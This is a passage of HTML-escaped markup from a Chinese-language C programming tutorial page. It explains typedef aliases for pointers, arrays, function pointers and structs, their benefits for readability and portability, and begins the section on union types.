name;\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面代码中,\u003ccode\u003etype\u003c/code\u003e代表类型名,\u003ccode\u003ename\u003c/code\u003e代表别名。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003etypedef\u003c/span\u003e \u003cspan class=\"type\"\u003eunsigned\u003c/span\u003e \u003cspan class=\"type\"\u003echar\u003c/span\u003e BYTE;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eBYTE c = \u003cspan class=\"string\"\u003e\u0026#39;z\u0026#39;\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例中,\u003ccode\u003etypedef\u003c/code\u003e命令为类型\u003ccode\u003eunsign char\u003c/code\u003e起别名\u003ccode\u003eBYTE\u003c/code\u003e,然后就可以使用\u003ccode\u003eBYTE\u003c/code\u003e声明变量。\u003c/p\u003e\u003cp\u003etypedef 可以一次指定多个别名。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003etypedef\u003c/span\u003e \u003cspan class=\"type\"\u003eint\u003c/span\u003e antelope, bagel, mushroom;\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例中,一次性为\u003ccode\u003eint\u003c/code\u003e类型起了三个别名。\u003c/p\u003e\u003cp\u003etypedef 可以为指针起别名。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003etypedef\u003c/span\u003e \u003cspan class=\"type\"\u003eint\u003c/span\u003e* intptr;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e a = \u003cspan class=\"number\"\u003e10\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eintptr x = \u0026amp;a;\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例中,\u003ccode\u003eintptr\u003c/code\u003e是\u003ccode\u003eint*\u003c/code\u003e的别名。不过,使用的时候要小心,这样不容易看出来,变量\u003ccode\u003ex\u003c/code\u003e是一个指针类型。\u003c/p\u003e\u003cp\u003etypedef 也可以用来为数组类型起别名。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003etypedef\u003c/span\u003e \u003cspan class=\"type\"\u003eint\u003c/span\u003e five_ints[\u003cspan class=\"number\"\u003e5\u003c/span\u003e];\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003efive_ints x = {\u003cspan class=\"number\"\u003e11\u003c/span\u003e, \u003cspan class=\"number\"\u003e22\u003c/span\u003e, \u003cspan class=\"number\"\u003e33\u003c/span\u003e, \u003cspan class=\"number\"\u003e44\u003c/span\u003e, \u003cspan class=\"number\"\u003e55\u003c/span\u003e};\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例中,\u003ccode\u003efive_ints\u003c/code\u003e是一个数组类型,包含5个整数的\u003c/p\u003e\u003cp\u003etypedef 为函数起别名的写法如下。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003etypedef\u003c/span\u003e \u003cspan class=\"type\"\u003esigned\u003c/span\u003e \u003cspan class=\"title function_\"\u003echar\u003c/span\u003e \u003cspan class=\"params\"\u003e(*fp)\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"type\"\u003evoid\u003c/span\u003e)\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例中,类型别名\u003ccode\u003efp\u003c/code\u003e是一个指针,代表函数\u003ccode\u003esigned char (*)(void)\u003c/code\u003e。\u003c/p\u003e\u003ch3 id=\"主要好处\"\u003e\u003ca href=\"https://xeonds.github.io/2021/11/02/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/%E3%80%8AC%E8%AF%AD%E8%A8%80%E5%85%A5%E9%97%A8%E6%95%99%E7%A8%8B%E3%80%8B%E9%98%AE%E4%B8%80%E5%B3%B0/#%E4%B8%BB%E8%A6%81%E5%A5%BD%E5%A4%84\" class=\"headerlink\" title=\"主要好处\"\u003e\u003c/a\u003e主要好处\u003c/h3\u003e\u003cp\u003e\u003ccode\u003etypedef\u003c/code\u003e为类型起别名的好处,主要有下面几点。\u003c/p\u003e\u003cp\u003e(1)更好的代码可读性。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003etypedef\u003c/span\u003e \u003cspan class=\"type\"\u003echar\u003c/span\u003e* STRING;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eSTRING name;\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例为字符指针起别名为\u003ccode\u003eSTRING\u003c/code\u003e,以后使用\u003ccode\u003eSTRING\u003c/code\u003e声明变量时,就可以轻易辨别该变量是字符串。\u003c/p\u003e\u003cp\u003e(2)为 struct、union、enum 等命令定义的复杂数据结构创建别名,从而便于引用。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"class\"\u003e\u003cspan class=\"keyword\"\u003estruct\u003c/span\u003e \u003cspan class=\"title\"\u003etreenode\u003c/span\u003e {\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"comment\"\u003e// ...\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e};\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003etypedef\u003c/span\u003e \u003cspan class=\"class\"\u003e\u003cspan class=\"keyword\"\u003estruct\u003c/span\u003e \u003cspan class=\"title\"\u003etreenode\u003c/span\u003e* \u003cspan class=\"title\"\u003eTree\u003c/span\u003e;\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例中,\u003ccode\u003eTree\u003c/code\u003e为\u003ccode\u003estruct treenode*\u003c/code\u003e的别名。\u003c/p\u003e\u003cp\u003etypedef 也可以与 struct 定义数据类型的命令写在一起。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003etypedef\u003c/span\u003e \u003cspan class=\"class\"\u003e\u003cspan class=\"keyword\"\u003estruct\u003c/span\u003e \u003cspan class=\"title\"\u003eanimal\u003c/span\u003e {\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"type\"\u003echar\u003c/span\u003e* name;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"type\"\u003eint\u003c/span\u003e leg_count, speed;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e} animal;\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例中,自定义数据类型时,同时使用\u003ccode\u003etypedef\u003c/code\u003e命令,为\u003ccode\u003estruct animal\u003c/code\u003e起了一个别名\u003ccode\u003eanimal\u003c/code\u003e。\u003c/p\u003e\u003cp\u003e这种情况下,C 语言允许省略 struct 命令后面的类型名。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003etypedef\u003c/span\u003e \u003cspan class=\"class\"\u003e\u003cspan class=\"keyword\"\u003estruct\u003c/span\u003e {\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"type\"\u003echar\u003c/span\u003e *name;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"type\"\u003eint\u003c/span\u003e leg_count, speed;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e} animal;\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例相当于为一个匿名的数据类型起了别名\u003ccode\u003eanimal\u003c/code\u003e。\u003c/p\u003e\u003cp\u003e(3)typedef 方便以后为变量改类型。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003etypedef\u003c/span\u003e \u003cspan class=\"type\"\u003efloat\u003c/span\u003e app_float;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eapp_float f1, f2, f3;\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例中,变量\u003ccode\u003ef1\u003c/code\u003e、\u003ccode\u003ef2\u003c/code\u003e、\u003ccode\u003ef3\u003c/code\u003e的类型都是\u003ccode\u003efloat\u003c/code\u003e。如果以后需要为它们改类型,只需要修改\u003ccode\u003etypedef\u003c/code\u003e语句即可。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003etypedef\u003c/span\u003e \u003cspan class=\"type\"\u003elong\u003c/span\u003e \u003cspan class=\"type\"\u003edouble\u003c/span\u003e app_float;\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面命令将变量\u003ccode\u003ef1\u003c/code\u003e、\u003ccode\u003ef2\u003c/code\u003e、\u003ccode\u003ef3\u003c/code\u003e的类型都改为\u003ccode\u003elong double\u003c/code\u003e。\u003c/p\u003e\u003cp\u003e(4)可移植性\u003c/p\u003e\u003cp\u003e某一个值在不同计算机上的类型,可能是不一样的。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e i = \u003cspan class=\"number\"\u003e100000\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面代码在32位整数的计算机没有问题,但是在16位整数的计算机就会出错。\u003c/p\u003e\u003cp\u003eC 语言的解决办法,就是提供了类型别名,在不同计算机上会解释成不同类型,比如\u003ccode\u003eint32_t\u003c/code\u003e。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint32_t\u003c/span\u003e i = \u003cspan class=\"number\"\u003e100000\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例将变量\u003ccode\u003ei\u003c/code\u003e声明成\u003ccode\u003eint32_t\u003c/code\u003e类型,保证它在不同计算机上都是32位宽度,移植代码时就不会出错。\u003c/p\u003e\u003cp\u003e这一类的类型别名都是用 typedef 定义的。下面是类似的例子。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003etypedef\u003c/span\u003e \u003cspan class=\"type\"\u003elong\u003c/span\u003e \u003cspan class=\"type\"\u003eint\u003c/span\u003e \u003cspan class=\"type\"\u003eptrdiff_t\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003etypedef\u003c/span\u003e \u003cspan class=\"type\"\u003eunsigned\u003c/span\u003e \u003cspan class=\"type\"\u003elong\u003c/span\u003e \u003cspan class=\"type\"\u003eint\u003c/span\u003e \u003cspan class=\"type\"\u003esize_t\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003etypedef\u003c/span\u003e \u003cspan class=\"type\"\u003eint\u003c/span\u003e \u003cspan class=\"type\"\u003ewchar_t\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e这些整数类型别名都放在头文件\u003ccode\u003estdint.h\u003c/code\u003e,不同架构的计算机只需修改这个头文件即可,而无需修改代码。\u003c/p\u003e\u003cp\u003e因此,\u003ccode\u003etypedef\u003c/code\u003e有助于提高代码的可移植性,使其能适配不同架构的计算机。\u003c/p\u003e\u003cp\u003e(5)简化类型声明\u003c/p\u003e\u003cp\u003eC 语言有些类型声明相当复杂,比如下面这个。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003echar\u003c/span\u003e (*(*x(\u003cspan class=\"type\"\u003evoid\u003c/span\u003e))[\u003cspan class=\"number\"\u003e5\u003c/span\u003e])(\u003cspan class=\"type\"\u003evoid\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003etypedef 可以简化复杂的类型声明,使其更容易理解。首先,最外面一层起一个类型别名。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003etypedef\u003c/span\u003e \u003cspan class=\"title function_\"\u003echar\u003c/span\u003e \u003cspan class=\"params\"\u003e(*Func)\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"type\"\u003evoid\u003c/span\u003e)\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eFunc (*x(\u003cspan class=\"type\"\u003evoid\u003c/span\u003e))[\u003cspan class=\"number\"\u003e5\u003c/span\u003e];\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e这个看起来还是有点复杂,就为里面一层也定义一个别名。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003etypedef\u003c/span\u003e \u003cspan class=\"title function_\"\u003echar\u003c/span\u003e \u003cspan class=\"params\"\u003e(*Func)\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"type\"\u003evoid\u003c/span\u003e)\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003etypedef\u003c/span\u003e Func Arr[\u003cspan class=\"number\"\u003e5\u003c/span\u003e];\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eArr* \u003cspan class=\"title function_\"\u003ex\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"type\"\u003evoid\u003c/span\u003e)\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面代码就比较容易解读了。\u003c/p\u003e\u003cul\u003e\u003cli\u003e\u003ccode\u003ex\u003c/code\u003e是一个函数,返回一个指向 Arr 类型的指针。\u003c/li\u003e\u003cli\u003e\u003ccode\u003eArr\u003c/code\u003e是一个数组,有5个成员,每个成员是\u003ccode\u003eFunc\u003c/code\u003e类型。\u003c/li\u003e\u003cli\u003e\u003ccode\u003eFunc\u003c/code\u003e是一个函数指针,指向一个无参数、返回字符值的函数。\u003c/li\u003e\u003c/ul\u003e\u003ch2 id=\"Union-结构\"\u003e\u003ca href=\"https://xeonds.github.io/2021/11/02/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/%E3%80%8AC%E8%AF%AD%E8%A8%80%E5%85%A5%E9%97%A8%E6%95%99%E7%A8%8B%E3%80%8B%E9%98%AE%E4%B8%80%E5%B3%B0/#Union-%E7%BB%93%E6%9E%84\" class=\"headerlink\" title=\"Union 结构\"\u003e\u003c/a\u003eUnion 结构\u003c/h2\u003e\u003cp\u003e有时需要一种数据结构,不同的场合表示不同的数据类型。比如,如果只用一种数据结构表示水果的“量”,这种结构就需要有时是整数(6个苹果),有时是浮点数(1.5公斤草莓)。\u003c/p\u003e\u003cp\u003eC 语言提供了 Union 结构,用来自定义可以灵活变更的数据结构。它内部可以包含各种属性,但同一时间只能有一个属性,因为所有属性都保存在同一个内存地址,后面写入的属性会覆盖前面的属性。这样做的最大好处是节省空间。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"class\"\u003e\u003cspan class=\"keyword\"\u003eunion\u003c/span\u003e \u003cspan class=\"title\"\u003equantity\u003c/span\u003e {\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"type\"\u003eshort\u003c/span\u003e count;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"type\"\u003efloat\u003c/span\u003e weight;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"type\"\u003efloat\u003c/span\u003e volume;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e};\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例中,\u003ccode\u003eunion\u003c/code\u003e命令定义了一个包含三个属性的数据类型\u003ccode\u003equantity\u003c/code\u003e。虽然包含三个属性,但是同一时间只能取到一个属性。最后赋值的属性,就是可以取到值的那个属性。\u003c/p\u003e\u003cp\u003e使用时,声明一个该类型的变量。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e// 写法一\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"class\"\u003e\u003cspan class=\"keyword\"\u003eunion\u003c/span\u003e \u003cspan class=\"title\"\u003equantity\u003c/span\u003e \u003cspan class=\"title\"\u003eq\u003c/span\u003e;\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eq.count = \u003cspan class=\"number\"\u003e4\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e// 写法二\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"class\"\u003e\u003cspan class=\"keyword\"\u003eunion\u003c/span\u003e \u003cspan class=\"title\"\u003equantity\u003c/span\u003e \u003cspan class=\"title\"\u003eq\u003c/span\u003e =\u003c/span\u003e {.count=\u003cspan class=\"number\"\u003e4\u003c/span\u003e};\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan 